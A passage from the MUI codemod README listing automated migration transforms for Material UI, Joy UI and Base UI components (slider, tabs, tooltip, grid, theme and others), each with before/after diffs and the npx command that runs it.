[`&.${sliderClasses.colorError} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbColorInfo}`]: {\n+      [`&.${sliderClasses.colorInfo} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbColorSuccess}`]: {\n+      [`&.${sliderClasses.colorSuccess} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n-      [`& .${sliderClasses.thumbColorWarning}`]: {\n+      [`&.${sliderClasses.colorWarning} > .${sliderClasses.thumb}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiSlider-root .MuiSlider-thumbSizeSmall\n+.MuiSlider-root.MuiSlider-sizeSmall > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbSizeMedium\n+.MuiSlider-root.MuiSlider-sizeMedium > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbColorPrimary\n+.MuiSlider-root.MuiSlider-colorPrimary > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbColorSecondary\n+.MuiSlider-root.MuiSlider-colorSecondary > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbColorError\n+.MuiSlider-root.MuiSlider-colorError > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbColorInfo\n+.MuiSlider-root.MuiSlider-colorInfo > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbColorSuccess\n+.MuiSlider-root.MuiSlider-colorSuccess > .MuiSlider-thumb\n-.MuiSlider-root .MuiSlider-thumbColorWarning\n+.MuiSlider-root.MuiSlider-colorWarning > .MuiSlider-thumb\n```\n\n```bash\nnpx @mui/codemod@next deprecations/slider-classes <path>\n```\n\n#### `tabs-props`\n\n```diff\n <Tabs\n-  ScrollButtonComponent={CustomScrollButton}\n-  TabIndicatorProps={{ className: 'indicator' }}\n-  TabScrollButtonProps={{ disableRipple: true }}\n+  slots={{ scrollButtons: CustomScrollButton }}\n+  slotProps={{\n+    indicator: { className: 'indicator' },\n+    scrollButtons: { disableRipple: true },\n+  }}\n />\n```\n\n```diff\n <Tabs\n-  slots={{ StartScrollButtonIcon: CustomIcon, EndScrollButtonIcon: CustomIcon2 }}\n+  slots={{ startScrollButtonIcon: CustomIcon, endScrollButtonIcon: CustomIcon2 }}\n />\n```\n\n```diff\n MuiTabs: {\n   defaultProps: {\n-    ScrollButtonComponent: CustomScrollButton,\n-    TabScrollButtonProps: { disableRipple: true },\n-    TabIndicatorProps: { className: 'indicator' },\n+    slots: {\n+      scrollButtons: CustomScrollButton,\n+    },\n+    slotProps: {\n+      scrollButtons: { disableRipple: true },\n+      indicator: { className: 'indicator' },\n+    },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/tabs-props <path>\n```\n\n#### `tooltip-props`\n\n```diff\n <Tooltip\n-  components={{ Arrow: CustomArrow, Tooltip: CustomTooltip }}\n-  componentsProps={{ arrow: { testid: 'test-id' }, tooltip: { className: 'custom' } }}\n-  PopperComponent={CustomPopperComponent}\n-  TransitionComponent={CustomTransitionComponent}\n-  PopperProps={CustomPopperProps}\n-  TransitionProps={CustomTransitionProps}\n+  slots={{\n+    arrow: CustomArrow,\n+    tooltip: CustomTooltip,\n+    popper: CustomPopperComponent,\n+    transition: CustomTransitionComponent,\n+  }}\n+  slotProps={{\n+    arrow: { testid: 'test-id' },\n+    tooltip: { className: 'custom' },\n+    popper: CustomPopperProps,\n+    transition: CustomTransitionProps,\n+  }}\n />\n```\n\n```diff\n MuiTooltip: {\n   defaultProps: {\n-    PopperComponent: CustomPopperComponent,\n-    TransitionComponent: CustomTransitionComponent,\n-    PopperProps: CustomPopperProps,\n-    TransitionProps: CustomTransitionProps,\n-    components: { Arrow: CustomArrow, Tooltip: CustomTooltip }\n+    slots: {\n+      arrow: CustomArrow,\n+      tooltip: CustomTooltip,\n+      popper: CustomPopperComponent,\n+      transition: CustomTransitionComponent,\n+    },\n-    componentsProps: { arrow: { testid: 'test-id' }, tooltip: { className: 'custom' } }\n+    slotProps: {\n+      arrow: { testid: 'test-id' },\n+      tooltip: { className: 'custom' },\n+      popper: CustomPopperProps,\n+      transition: CustomTransitionProps,\n+    },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/tooltip-props <path>\n```\n\n#### `step-connector-classes`\n\nJS transforms:\n\n```diff\n import { stepConnectorClasses } from '@mui/material/StepConnector';\n\n MuiStepConnector: {\n   styleOverrides: {\n     root: {\n-      [`& .${stepConnectorClasses.lineHorizontal}`]: {\n+      [`&.${stepConnectorClasses.horizontal} > .${stepConnectorClasses.line}`]: {\n         color: 'red',\n       },\n-      [`& .${stepConnectorClasses.lineVertical}`]: {\n+      [`&.${stepConnectorClasses.vertical} > .${stepConnectorClasses.line}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiStepConnector-lineHorizontal\n+.MuiStepConnector-horizontal > .MuiStepConnector-line\n```\n\n```diff\n-.MuiStepConnector-lineVertical\n+.MuiStepConnector-vertical > .MuiStepConnector-line\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next deprecations/step-connector-classes <path>\n```\n\n#### `step-content-props`\n\n```diff\n <StepContent\n-  TransitionComponent={CustomTransition}\n-  TransitionProps={{ unmountOnExit: true }}\n+  slots={{ transition: CustomTransition }}\n+  slotProps={{ transition: { unmountOnExit: true } }}\n />\n```\n\n```bash\nnpx @mui/codemod@next deprecations/step-content-props <path>\n```\n\n#### `step-label-props`\n\n```diff\n <StepLabel\n-  componentsProps={{ label: labelProps }}\n+  slotProps={{ label: labelProps }}\n-  StepIconComponent={StepIconComponent}\n+  slots={{ stepIcon: StepIconComponent }}\n-  StepIconProps={StepIconProps}\n+  slotProps={{ stepIcon: StepIconProps }}\n />\n```\n\n```diff\n MuiStepLabel: {\n   defaultProps: {\n-  componentsProps:{ label: labelProps }\n+  slotProps:{ label: labelProps }\n-  StepIconComponent:StepIconComponent\n+  slots:{ stepIcon: StepIconComponent }\n-  StepIconProps:StepIconProps\n+  slotProps:{ stepIcon: StepIconProps }\n  },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/step-label-props <path>\n```\n\n#### `switch-props`\n\n```diff\n <Switch\n-  inputProps={{ 'aria-label': 'Switch' }}\n-  inputRef={ref}\n+  slotProps={{ input: { 'aria-label': 'Switch', ref } }}\n />\n```\n\n```bash\nnpx @mui/codemod@next deprecations/switch-props <path>\n```\n\n#### `text-field-props`\n\n```diff\n <TextField\n-  InputProps={CustomInputProps}\n-  inputProps={CustomHtmlInputProps}\n-  SelectProps={CustomSelectProps}\n-  InputLabelProps={CustomInputLabelProps}\n-  FormHelperTextProps={CustomFormHelperProps}\n+  slotProps={{\n+    input: CustomInputProps,\n+    htmlInput: CustomHtmlInputProps,\n+    select: CustomSelectProps,\n+    inputLabel: CustomInputLabelProps,\n+    formHelper: CustomFormHelperProps,\n+  }}\n />\n```\n\n```bash\nnpx @mui/codemod@next deprecations/text-field-props <path>\n```\n\n#### `toggle-button-group-classes`\n\nJS transforms:\n\n```diff\n import { toggleButtonGroupClasses } from '@mui/material/ToggleButtonGroup';\n\n MuiToggleButtonGroup: {\n   styleOverrides: {\n     root: {\n-      [`& .${toggleButtonGroupClasses.groupedHorizontal}`]: {\n+      [`&.${toggleButtonGroupClasses.horizontal} > .${toggleButtonGroupClasses.grouped}`]: {\n         color: 'red',\n       },\n-      [`& .${toggleButtonGroupClasses.groupedVertical}`]: {\n+      [`&.${toggleButtonGroupClasses.vertical} > .${toggleButtonGroupClasses.grouped}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiToggleButtonGroup-root .MuiToggleButtonGroup-groupedHorizontal\n+.MuiToggleButtonGroup-root.MuiToggleButtonGroup-horizontal > .MuiToggleButtonGroup-grouped\n```\n\n```diff\n-.MuiToggleButtonGroup-root .MuiToggleButtonGroup-groupedVertical\n+.MuiToggleButtonGroup-root.MuiToggleButtonGroup-vertical > .MuiToggleButtonGroup-grouped\n```\n\n```bash\nnpx @mui/codemod@next deprecations/toggle-button-group-classes <path>\n```\n\n#### `tab-classes`\n\nJS transforms:\n\n```diff\n import { tabClasses } from '@mui/material/Tab';\n\n MuiTab: {\n   styleOverrides: {\n     root: {\n-      [`& .${tabClasses.iconWrapper}`]: {\n+      [`& .${tabClasses.icon}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiTab-iconWrapper\n+.MuiTab-icon\n```\n\n```bash\nnpx @mui/codemod@next deprecations/tab-classes <path>\n```\n\n#### `table-sort-label-classes`\n\nJS transforms:\n\n```diff\n import { tableSortLabelClasses } from '@mui/material/TableSortLabel';\n\n MuiTableSortLabel: {\n   styleOverrides: {\n     root: {\n-      [`& .${tableSortLabelClasses.iconDirectionDesc}`]: {\n+      [`&.${tableSortLabelClasses.directionDesc} > .${tableSortLabelClasses.icon}`]: {\n         color: 'red',\n       },\n-      [`& .${tableSortLabelClasses.iconDirectionAsc}`]: {\n+      [`&.${tableSortLabelClasses.directionAsc} > .${tableSortLabelClasses.icon}`]: {\n         color: 'red',\n       },\n     },\n   },\n },\n```\n\nCSS transforms:\n\n```diff\n-.MuiTableSortLabel-iconDirectionDesc\n+.MuiTableSortLabel-directionDesc > .MuiTableSortLabel-icon\n```\n\n```diff\n-.MuiTableSortLabel-iconDirectionAsc\n+.MuiTableSortLabel-directionAsc > .MuiTableSortLabel-icon\n```\n\n```bash\nnpx @mui/codemod@next deprecations/table-sort-label-classes <path>\n```\n\n#### `typography-props`\n\n```diff\n <Typography\n-  paragraph\n+  sx={{ marginBottom: '16px' }}\n />\n```\n\n```diff\n <Typography\n-  paragraph={isTypographyParagraph}\n+  sx={isTypographyParagraph ? { marginBottom: '16px' } : undefined}\n />\n```\n\n```diff\n MuiTypography: {\n   defaultProps: {\n-    paragraph: true\n+    sx: { marginBottom: '16px' },\n   },\n },\n```\n\n```bash\nnpx @mui/codemod@next deprecations/typography-props <path>\n```\n\n### v9.0.0\n\n#### `system-props`\n\n```bash\nnpx @mui/codemod@next v9.0.0/system-props <path>\n```\n\nRemove system props from Box, Stack, Typography, Link, Grid, DialogContentText, TimelineContent, and TimelineOppositeContent components and move them to the `sx` prop.\n\nCompared to the v6 codemod, the v9 version also handles:\n\n- `color=\"inherit\"` on Typography (moved to `sx`)\n- `color=\"text.secondary\"` on Link (moved to `sx`, while keeping named colors like `\"primary\"` and `\"inherit\"` as component props)\n- DialogContentText, TimelineContent, and TimelineOppositeContent components\n\n```diff\n-<Typography color=\"inherit\" />\n+<Typography sx={{ color: \"inherit\" }} />\n\n-<Link color=\"text.secondary\" href=\"#\" />\n+<Link href=\"#\" sx={{ color: \"text.secondary\" }} />\n```\n\n### v7.0.0\n\n#### `theme-color-functions`\n\n```bash\nnpx @mui/codemod@next v7.0.0/theme-color-functions <path>\n```\n\nReplace the usage of the `alpha()`, `lighten()`, and `darken()` functions from `@mui/system/colorManipulator` to use the `theme` object instead.\n\n```diff\n- import { alpha, lighten, darken } from '@mui/system/colorManipulator';\n\n- alpha(theme.palette.primary.main, 0.8)\n+ theme.alpha((theme.vars || theme).palette.primary.main, 0.8)\n\n- lighten(theme.palette.primary.main, 0.1)\n+ theme.lighten(theme.palette.primary.main, 0.1)\n\n- darken(theme.palette.primary.main, 0.3)\n+ theme.darken(theme.palette.primary.main, 0.3)\n```\n\n#### `grid-props`\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v7.0.0/grid-props <path>\n```\n\nUpdates the usage of the `@mui/material/Grid`, `@mui/system/Grid`, and `@mui/joy/Grid` components to their updated APIs.\n\n```diff\n <Grid\n-   xs={12}\n-   sm={6}\n-   xsOffset={2}\n-   smOffset={3}\n+   size={{ xs: 12, sm: 6 }}\n+   offset={{ xs: 2, sm: 3 }}\n />\n```\n\nYou can provide the theme breakpoints via options, for example, `--jscodeshift='--muiBreakpoints=mobile,desktop'`, to use your custom breakpoints in the transformation.\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v7.0.0/grid-props <path> --jscodeshift='--muiBreakpoints=mobile,desktop'\n```\n\n```diff\n- <Grid mobile={12} mobileOffset={2} desktop={6} desktopOffset={4} >\n+ <Grid size={{ mobile: 12, desktop: 6 }} offset={{ mobile: 2, desktop: 4 }} >\n```\n\n#### `lab-removed-components`\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v7.0.0/lab-removed-components <path>\n```\n\nUpdate the import of the following components and hook moved from `@mui/lab` to `@mui/material`:\n\n- Alert\n- AlertTitle\n- Autocomplete\n- AvatarGroup\n- Pagination\n- PaginationItem\n- Rating\n- Skeleton\n- SpeedDial\n- SpeedDialAction\n- SpeedDialIcon\n- ToggleButton\n- ToggleButtonGroup\n- usePagination\n\nIt updates named imports from top-level `@mui/lab`:\n\n```diff\n- import { Alert } from '@mui/lab';\n+ import { Alert } from '@mui/material';\n```\n\nAs well as default and named imports from component-level files:\n\n```diff\n- import Alert, { alertClasses } from '@mui/lab/Alert';\n+ import Alert, { alertClasses } from '@mui/material/Alert';\n```\n\n#### `input-label-size-normal-medium`\n\nUpdates the `InputLabel`'s `size` value from `normal` to `medium`.\n\n```diff\n-<InputLabel size=\"normal\">Label</InputLabel>\n+<InputLabel size=\"medium\">Label</InputLabel>\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v7.0.0/input-label-size-normal-medium <path>\n```\n\n<!-- #host-reference -->\n\nYou can find more details about this breaking change in [the migration guide](https://next.mui.com/material-ui/migration/upgrade-to-v7/#inputlabel).\n\n### v6.0.0\n\n#### `sx-prop`\n\n```bash\nnpx @mui/codemod@next v6.0.0/sx-prop <path>\n```\n\nUpdate the usage of the `sx` prop to be compatible with `@pigment-css/react`.\n\n```diff\n <Box\n-  sx={{\n-    backgroundColor: (theme) =>\n-      theme.palette.mode === 'light' ? theme.palette.grey[100] : theme.palette.grey[900],\n-  }}\n+  sx={theme => ({\n+    backgroundColor: theme.palette.grey[900],\n+    ...theme.applyStyles(\"light\", {\n+      backgroundColor: theme.palette.grey[100]\n+    })\n+  })}\n />\n```\n\n#### `system-props`\n\n```bash\nnpx @mui/codemod@next v6.0.0/system-props <path>\n```\n\nRemove system props and add them to the `sx` prop.\n\n```diff\n-<Box ml=\"2px\" py={1} color=\"primary.main\" />\n+<Box sx={{ ml: '2px', py: 1, color: 'primary.main' }} />\n```\n\n#### `theme-v6`\n\n```bash\nnpx @mui/codemod@next v6.0.0/theme-v6 <path>\n```\n\nUpdate the theme creation from `@mui/system@v5` to be compatible with `@pigment-css/react`.\n\n- replace palette mode conditional with `theme.applyStyles()`\n- replace `ownerState` with `variants`\n- move theme variants to the root slot\n\n```diff\n  createTheme({\n    components: {\n      MuiButton: {\n-       variants: [\n-         {\n-           props: { color: 'primary' },\n-           style: {\n-             color: 'red',\n-           },\n-         },\n-       ],\n        styleOverrides: {\n-          root: ({ theme, ownerState }) => ({\n+          root: ({ theme }) => ({\n            ...ownerState.variant === 'contained' && {\n              backgroundColor: alpha(theme.palette.primary.main, 0.8),\n              ...theme.palette.mode === 'dark' && {\n                backgroundColor: alpha(theme.palette.primary.light, 0.9),\n              }\n            },\n+           variants: [\n+             {\n+               prop: { variant: 'contained' },\n+               style: {\n+                 backgroundColor: alpha(theme.palette.primary.main, 0.8),\n+               },\n+             },\n+             {\n+               prop: { variant: 'contained' },\n+               style: {\n+                 ...theme.applyStyles('dark', {\n+                   backgroundColor: alpha(theme.palette.primary.light, 0.9),\n+                 })\n+               },\n+             },\n+             {\n+               prop: { color: 'primary' },\n+               style: {\n+                 color: 'red',\n+               },\n+             },\n+           ],\n          })\n        }\n      }\n    }\n  })\n```\n\n#### `styled`\n\n```bash\nnpx @mui/codemod@next v6.0.0/styled <path>\n```\n\nUpdates the usage of `styled` from `@mui/system@v5` to be compatible with `@pigment-css/react`.\n\nThis codemod transforms the styles based on props to `variants` by looking for `styled` calls:\n\n```diff\n styled('div')(({ theme, disabled }) => ({\n   color: theme.palette.primary.main,\n-  ...(disabled && {\n-    opacity: 0.5,\n-  }),\n+  variants: [\n+    {\n+      prop: 'disabled',\n+      style: {\n+        opacity: 0.5,\n+      },\n+    },\n+  ],\n }));\n```\n\nThis codemod can handle complex styles with spread operators, ternary operators, and nested objects.\n\nHowever, it has some **limitations**:\n\n- It does not transform dynamic values as shown below:\n\n  ```js\n  const ResizableContainer = styled('div')(({ ownerState, theme }) => ({\n    width: ownerState.width ?? '100%',\n    height: ownerState.height ?? '100%',\n  }));\n  ```\n\n  You need to manually declare a CSS variable and set the values using inline styles:\n\n  ```js\n  // ✅ Recommended way\n  const ResizableContainer = styled('div')({\n    width: 'var(--ResizableContainer-width, 100%)',\n    height: 'var(--ResizableContainer-height, 100%)',\n  });\n  ```\n\n- It does not transform dynamic reference from the theme, for example color palette.\n\n  ```js\n  const Test = styled('div')(({ ownerState, theme }) => ({\n    backgroundColor: (theme.vars || theme).palette[ownerState.color]?.main,\n  }));\n  ```\n\n  You need to manually iterate the theme object and create `variants` for each color.\n\n  ```js\n  // ✅ Recommended way\n  const Test = styled('div')(({ theme }) => ({\n    variants: Object.entries(theme.palette)\n      .filter(([color, value]) => value.main)\n      .map(([color, value]) => ({\n        props: { color },\n        style: {\n          backgroundColor: value.main,\n        },\n      })),\n  }));\n  ```\n\n#### `grid-v2-props`\n\n```bash\nnpx @mui/codemod@next v6.0.0/grid-v2-props <path>\n```\n\nUpdates the usage of the `@mui/material/Grid2`, `@mui/system/Grid`, and `@mui/joy/Grid` components to their updated APIs.\n\n```diff\n <Grid\n-   xs={12}\n-   sm={6}\n-   xsOffset={2}\n-   smOffset={3}\n+   size={{ xs: 12, sm: 6 }}\n+   offset={{ xs: 2, sm: 3 }}\n />\n```\n\nYou can provide the theme breakpoints via options, for example, `--jscodeshift='--muiBreakpoints=mobile,desktop'`, to use your custom breakpoints in the transformation.\n\n```bash\nnpx @mui/codemod@next v6.0.0/grid-v2-props <path> --jscodeshift='--muiBreakpoints=mobile,desktop'\n```\n\n```diff\n- <Grid mobile={12} mobileOffset={2} desktop={6} desktopOffset={4} >\n+ <Grid size={{ mobile: 12, desktop: 6 }} offset={{ mobile: 2, desktop: 4 }} >\n```\n\n### v5.0.0\n\n#### `base-use-named-exports`\n\nBase UI default exports were changed to named ones. Previously we had a mix of default and named ones.\nThis was changed to improve consistency and avoid problems some bundlers have with default exports.\nSee https://github.com/mui/material-ui/issues/21862 for more context.\n\nThis codemod updates the import and re-export statements.\n\n```diff\n-import BaseButton from '@mui/base/Button';\n-export { default as BaseSlider } from '@mui/base/Slider';\n+import { Button as BaseButton } from '@mui/base/Button';\n+export { Slider as BaseSlider } from '@mui/base/Slider';\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/base-use-named-exports <path>\n```\n\n#### `base-remove-unstyled-suffix`\n\nThe `Unstyled` suffix has been removed from all Base UI component names, including names of types and other related identifiers.\n\n```diff\n-<Input component='a' href='url' />;\n+<Input slots={{ root: 'a' }} href='url' />;\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/base-remove-unstyled-suffix <path>\n```\n\n#### `base-remove-component-prop`\n\nRemove `component` prop from all Base UI components by transferring its value into `slots.root`.\n\nThis change only affects Base UI components.\n\n```diff\n-<Input component={CustomRoot} />\n+<Input slots={{ root: CustomRoot }} />\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/base-remove-component-prop <path>\n```\n\n#### `rename-css-variables`\n\nUpdates the names of the CSS variables of the Joy UI components to adapt to the new naming standards of the CSS variables for components.\n\n```diff\n-<List sx={{ py: 'var(--List-divider-gap)' }}>\n-<Switch sx={{ '--Switch-track-width': '40px' }}>\n+<List sx={{ py: 'var(--ListDivider-gap)' }}>\n+<Switch sx={{ '--Switch-trackWidth': '40px' }}>\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/rename-css-variables <path>\n```\n\n#### `base-hook-imports`\n\nUpdates the sources of the imports of the Base UI hooks to adapt to the new directories of the hooks.\n\n```diff\n-import { useBadge } from '@mui/base/BadgeUnstyled';\n+import useBadge from '@mui/base/useBadge';\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/base-hook-imports <path>\n```\n\n#### `joy-rename-classname-prefix`\n\nRenames the classname prefix from `'Joy'` to `'Mui'` for Joy UI components.\n\n```diff\n <Button\n-  sx={{ '& .JoyButton-root': { '& .JoyButton-button': {} } }}\n+  sx={{ '& .MuiButton-root': { '& .MuiButton-button': {} } }}\n />;\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/joy-rename-classname-prefix <path>\n```\n\n#### `joy-rename-row-prop`\n\nTransforms `row` prop to `orientation` prop across `Card`, `List` and `RadioGroup` components.\n\n```diff\n <Card\n-  row\n+  orientation=\"horizontal\"\n />;\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/joy-rename-row-prop <path>\n```\n\n#### `joy-avatar-remove-imgProps`\n\nRemove `imgProps` prop by transferring its value into `slotProps.img`\n\nThis change only affects Joy UI Avatar component.\n\n```diff\n <Avatar\n-  imgProps={{ ['data-id']: 'imageId' }}\n-  slotProps={{ root: { ['data-id']: 'rootId' }}}\n+  slotProps={{ root: { ['data-id']: 'rootId' }, img: { ['data-id']: 'imageId' } }}\n />;\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/joy-avatar-remove-imgProps <path>\n```\n\n#### `joy-text-field-to-input`\n\nReplace `<TextField>` with a composition of input components:\n\nThis change only affects Joy UI components.\n\n```diff\n-import TextField from '@mui/joy/TextField';\n+import FormControl from '@mui/joy/FormControl';\n+import FormLabel from '@mui/joy/FormLabel';\n+import FormHelperText from '@mui/joy/FormHelperText';\n+import Input from '@mui/joy/Input';\n\n-<TextField\n-  id=\"Id\"\n-  label=\"Label\"\n-  placeholder=\"Placeholder\"\n-  helperText=\"Help!\"\n-  name=\"Name\"\n-  type=\"tel\"\n-  autoComplete=\"on\"\n-  autoFocus\n-  error\n-  required\n-  fullWidth\n-  defaultValue=\"DefaultValue\"\n-  size=\"sm\"\n-  color=\"primary\"\n-  variant=\"outlined\"\n-/>\n+<FormControl\n+  id=\"Id\"\n+  required\n+  size=\"sm\"\n+  color=\"primary\">\n+  <FormLabel>\n+    Label\n+  </FormLabel>\n+  <JoyInput\n+    placeholder=\"Placeholder\"\n+    name=\"Name\"\n+    type=\"tel\"\n+    autoComplete=\"on\"\n+    autoFocus\n+    error\n+    fullWidth\n+    defaultValue=\"DefaultValue\"\n+    variant=\"outlined\" />\n+  <FormHelperText id=\"Id-helper-text\">\n+    Help!\n+  </FormHelperText>\n+</FormControl>\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/joy-text-field-to-input <path>\n```\n\n#### `joy-rename-components-to-slots`\n\nRenames the `components` and `componentsProps` props to `slots` and `slotProps`, respectively.\n\nThis change only affects Joy UI components.\n\n```diff\n <Autocomplete\n-  components={{ listbox: CustomListbox }}\n-  componentsProps={{ root: { className: 'root' }, listbox: { 'data-testid': 'listbox' } }}\n+  slots={{ listbox: CustomListbox }}\n+  slotProps={{ root: { className: 'root' }, listbox: { 'data-testid': 'listbox' } }}\n />;\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/joy-rename-components-to-slots <path>\n```\n\nThe associated breaking change was done in [#34997](https://github.com/mui/material-ui/pull/34997).\n\n#### `date-pickers-moved-to-x`\n\nRename the imports of Date and Time Pickers from `@mui/lab` to `@mui/x-date-pickers` and `@mui/x-date-pickers-pro`.\n\n```bash\nnpx @mui/codemod@next v5.0.0/date-pickers-moved-to-x <path>\n```\n\n#### `tree-view-moved-to-x`\n\nRename the imports of Tree View from `@mui/lab` to `@mui/x-tree-view`.\n\n```bash\nnpx @mui/codemod@next v5.0.0/tree-view-moved-to-x <path>\n```\n\n#### 🚀 `preset-safe`\n\nA combination of all important transformers for migrating v4 to v5. ⚠️ This codemod should be run only once.\n\n```bash\nnpx @mui/codemod@next v5.0.0/preset-safe <path|folder>\n```\n\nThe list includes these transformers\n\n- [`adapter-v4`](#adapter-v4)\n- [`autocomplete-rename-closeicon`](#autocomplete-rename-closeicon)\n- [`autocomplete-rename-option`](#autocomplete-rename-option)\n- [`avatar-circle-circular`](#avatar-circle-circular)\n- [`badge-overlap-value`](#badge-overlap-value)\n- [`box-borderradius-values`](#box-borderradius-values)\n- [`box-rename-css`](#box-rename-css)\n- [`box-rename-gap`](#box-rename-gap)\n- [`button-color-prop`](#button-color-prop)\n- [`chip-variant-prop`](#chip-variant-prop)\n- [`circularprogress-variant`](#circularprogress-variant)\n- [`collapse-rename-collapsedheight`](#collapse-rename-collapsedheight)\n- [`core-styles-import`](#core-styles-import)\n- [`create-theme`](#create-theme)\n- [`dialog-props`](#dialog-props)\n- [`dialog-title-props`](#dialog-title-props)\n- [`emotion-prepend-cache`](#emotion-prepend-cache)\n- [`expansion-panel-component`](#expansion-panel-component)\n- [`fab-variant`](#fab-variant)\n- [`fade-rename-alpha`](#fade-rename-alpha)\n- [`grid-justify-justifycontent`](#grid-justify-justifycontent)\n- [`grid-list-component`](#grid-list-component)\n- [`icon-button-size`](#icon-button-size)\n- [`material-ui-styles`](#material-ui-styles)\n- [`material-ui-types`](#material-ui-types)\n- [`modal-props`](#modal-props)\n- [`moved-lab-modules`](#moved-lab-modules)\n- [`pagination-round-circular`](#pagination-round-circular)\n- [`optimal-imports`](#optimal-imports)\n- [`root-ref`](#root-ref)\n- [`skeleton-variant`](#skeleton-variant)\n- [`styled-engine-provider`](#styled-engine-provider)\n- [`table-props`](#table-props)\n- [`tabs-scroll-buttons`](#tabs-scroll-buttons)\n- [`textarea-minmax-rows`](#textarea-minmax-rows)\n- [`theme-augment`](#theme-augment)\n- [`theme-breakpoints`](#theme-breakpoints)\n- [`theme-breakpoints-width`](#theme-breakpoints-width)\n- [`theme-options`](#theme-options)\n- [`theme-palette-mode`](#theme-palette-mode)\n- [`theme-provider`](#theme-provider)\n- [`theme-spacing`](#theme-spacing)\n- [`theme-typography-round`](#theme-typography-round)\n- [`transitions`](#transitions)\n- [`use-autocomplete`](#use-autocomplete)\n- [`use-transitionprops`](#use-transitionprops)\n- [`with-mobile-dialog`](#with-mobile-dialog)\n- [`with-width`](#with-width)\n- [`mui-replace`](#mui-replace)\n\n#### `adapter-v4`\n\nImports and inserts `adaptV4Theme` into `createTheme()` (or `createMuiTheme`)\n\n```diff\n+import { adaptV4Theme } from '@material-ui/core/styles';\n\n-createTheme({ palette: { ... }})\n+createTheme(adaptV4Theme({ palette: { ... }}))\n```\n\n```bash\nnpx @mui/codemod@next v5.0.0/adapter-v4 <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#theme).\n\n#### `autocomplete-rename-closeicon`\n\nRenames `Autocomplete`'s `closeIcon` prop to `clearIcon`.\n\n```diff\n-<Autocomplete closeIcon={defaultClearIcon} />\n+<Autocomplete clearIcon={defaultClearIcon} />\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/autocomplete-rename-closeicon  <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#autocomplete).\n\n#### `autocomplete-rename-option`\n\nRenames `Autocomplete`'s `getOptionSelected` to `isOptionEqualToValue`.\n\n```diff\n <Autocomplete\n-  getOptionSelected={(option, value) => option.title === value.title}\n+  isOptionEqualToValue={(option, value) => option.title === value.title}\n />\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/autocomplete-rename-option  <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#autocomplete).\n\n#### `avatar-circle-circular`\n\nUpdates the `Avatar`'s `variant` value and `classes` key from 'circle' to 'circular'.\n\n```diff\n-<Avatar variant=\"circle\" />\n-<Avatar classes={{ circle: 'className' }} />\n+<Avatar variant=\"circular\" />\n+<Avatar classes={{ circular: 'className' }} />\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/avatar-circle-circular <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#avatar).\n\n#### `badge-overlap-value`\n\nRenames the badge's props.\n\n```diff\n-<Badge overlap=\"circle\">\n-<Badge overlap=\"rectangle\">\n+<Badge overlap=\"circular\">\n+<Badge overlap=\"rectangular\">\n <Badge classes={{\n-  anchorOriginTopRightRectangle: 'className',\n-  anchorOriginBottomRightRectangle: 'className',\n-  anchorOriginTopLeftRectangle: 'className',\n-  anchorOriginBottomLeftRectangle: 'className',\n-  anchorOriginTopRightCircle: 'className',\n-  anchorOriginBottomRightCircle: 'className',\n-  anchorOriginTopLeftCircle: 'className',\n+  anchorOriginTopRightRectangular: 'className',\n+  anchorOriginBottomRightRectangular: 'className',\n+  anchorOriginTopLeftRectangular: 'className',\n+  anchorOriginBottomLeftRectangular: 'className',\n+  anchorOriginTopRightCircular: 'className',\n+  anchorOriginBottomRightCircular: 'className',\n+  anchorOriginTopLeftCircular: 'className',\n }}>\n```\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v5.0.0/badge-overlap-value <path>\n```\n\nYou can find more details about this breaking change in [the migration guide](https://mui.com/material-ui/migration/v5-component-changes/#badge).\n\n#### `base-rename-components-to-slots`\n\nRenames the `components` and `componentsProps` props to `slots` and `slotProps`, respectively.\nAlso, changes `slots`' fields names to camelCase.\n\nThis change only affects Base UI 